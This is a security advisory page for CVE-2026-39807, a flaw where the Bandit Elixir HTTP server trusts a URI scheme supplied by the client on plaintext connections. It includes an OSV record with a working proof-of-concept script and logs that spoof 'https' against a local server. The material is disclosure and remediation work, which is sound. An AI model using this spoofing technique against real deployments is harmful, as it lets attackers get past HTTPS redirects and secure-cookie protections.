CVE-2026-39807: Bandit Bandit Trusts Client-supplied URI Scheme Vulnerability
MODERATECVE-2026-39807 is a MODERATE bandit trusts client-supplied uri scheme vulnerability (CWE-807: Reliance on Untrusted Inputs in a Security Decision) affecting Bandit libraries in the Hex ecosystem. The issue involves bandit trusts client-supplied uri scheme on plaintext connections. Remediation is available by upgrading affected packages to version 1.11.0.
CVE-2026-39807 at a Glance
How to Fix CVE-2026-39807
To remediate this vulnerability, upgrade all affected Bandit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade bandit to 1.11.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for bandit
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-39807, inspect your project dependencies for Bandit:
inspect dependencies for bandit
Analyze the terminal output to locate any version of Bandit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-807: Reliance on Untrusted Inputs in a Security Decision, where the product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism. In Bandit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-39807 Affected Bandit Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
bandit
|
Hex |
≥ 1.0.0
< 1.11.0
|
1.11.0
|
References
Frequently Asked Questions
What is CVE-2026-39807?
Which Bandit versions are affected?
What version fixes CVE-2026-39807?
Is bandit affected?
What CWE is associated with CVE-2026-39807?
How can I check Hex dependencies for CVE-2026-39807?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-375f-4r2h-f99j",
"modified" : "2026-05-07T03:47:29Z",
"published" : "2026-05-07T03:47:29Z",
"aliases" : [ "CVE-2026-39807" ],
"summary" : "Bandit trusts client-supplied URI scheme on plaintext connections",
"details" : "### Summary\nBandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal — `Plug.SSL`'s \"already secure, don't redirect\" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.\n\nThe vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28\n\n### Details\nThe bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target's scheme and the transport's `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{}`. The third match clause is `{_, scheme} -> scheme` — i.e. whenever the client supplies *any* scheme on the request target, the function returns that scheme verbatim and discards `secure?` entirely.\n\nTwo attacker-controlled inputs reach this code path:\n- HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. `GET https://victim/path HTTP/1.1`.\n- HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client.\n\nNeither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: \"https\"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate.\n\n**Suggested fix:** when `secure?` is `true`, force the scheme to `\"https\"`; when `false`, force it to `\"http\"` — or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.\n\n### PoC\nA self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends:\n\n```\nGET https://127.0.0.1:4321/ HTTP/1.1\nHost: 127.0.0.1:4321\nConnection: close\n```\n\nA correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof.\n\n### Impact\nTransport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:\n\n- `Plug.SSL` skipping its HTTP→HTTPS redirect because the request \"already looks secure\", letting plaintext requests bypass the redirect entirely.\n- Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them.\n- Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.\n- Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.\n\nThe vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`.\n\n### Script and Logs\n\n```elixir\n# Bandit reflects the client-supplied scheme into conn.scheme.\n#\n# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme\n# appears on the request target, ignoring the `secure?` flag that records\n# the actual transport state. HTTP/1.1 absolute-form request targets\n# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both\n# attacker-controlled strings that flow into this function. Over a\n# plaintext connection, a client can claim `https` and Bandit hands a\n# `%Plug.Conn{scheme: :https}` to the application — even though no TLS\n# was negotiated.\n#\n# Downstream Plug consumers that branch on `conn.scheme` are misled:\n# Plug.SSL's \"already secure, don't redirect\" path, `secure: true` cookie\n# flagging, audit logs, CSRF/SameSite gating, etc.\n#\n# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one\n# HTTP/1.1 absolute-form request with scheme `https://`, and prints the\n# `conn.scheme` the application observes. A fixed server should report\n# `:http` (or reject the request); the buggy server reports `:https`.\n#\n# Run: elixir scripts/bandit/http1_scheme_spoofing.exs\n\nMix.install([\n {:bandit, \"~> 1.10\"},\n {:plug, \"~> 1.19\"}\n])\n\ndefmodule SchemeApp do\n @behaviour Plug\n def init(opts), do: opts\n\n def call(conn, _opts) do\n body = \"This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\\n\"\n Plug.Conn.send_resp(conn, 200, body)\n end\nend\n\ndefmodule SchemeSpoof do\n @port 4321\n\n def run do\n {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)\n\n {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n # Absolute-form request target with scheme \"https\" over a plaintext\n # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;\n # nothing about it implies the connection is TLS.\n request =\n \"GET https://127.0.0.1:#{@port}/ HTTP/1.1\\r\\n\" <>\n \"Host: 127.0.0.1:#{@port}\\r\\n\" <>\n \"Connection: close\\r\\n\" <>\n \"\\r\\n\"\n\n log(\"Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.\")\n :ok = :gen_tcp.send(sock, request)\n\n {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n :gen_tcp.close(sock)\n\n log(\"Server response:\")\n IO.puts(response)\n\n cond do\n response =~ \"conn.scheme=:https\" ->\n log(\"VULNERABLE — application sees conn.scheme = :https on a plaintext socket.\")\n log(\"Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.\")\n\n response =~ \"conn.scheme=:http\" ->\n log(\"Server forced scheme to :http — bug appears patched.\")\n\n true ->\n log(\"Unexpected response shape.\")\n end\n end\n\n defp log(message), do: IO.puts(\"[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}\")\nend\n\nSchemeSpoof.run()\n```\n\n```logs\n12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.\n[10:53:25.316] Server response:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 10:53:25 GMT\ncontent-length: 47\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nThis is what the Plug sees: conn.scheme=:https\n\n[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.\n[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Hex",
"name" : "bandit"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.0.0"
}, {
"fixed" : "1.11.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39807"
}, {
"type" : "WEB",
"url" : "https://github.com/mtrudel/bandit/commit/45feea20dea8af7ffd7245271107b695c040e667"
}, {
"type" : "WEB",
"url" : "https://cna.erlef.org/cves/CVE-2026-39807.html"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mtrudel/bandit"
}, {
"type" : "WEB",
"url" : "https://osv.dev/vulnerability/EEF-CVE-2026-39807"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-807" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T03:47:29Z",
"nvd_published_at" : "2026-05-01T21:16:17Z"
}
}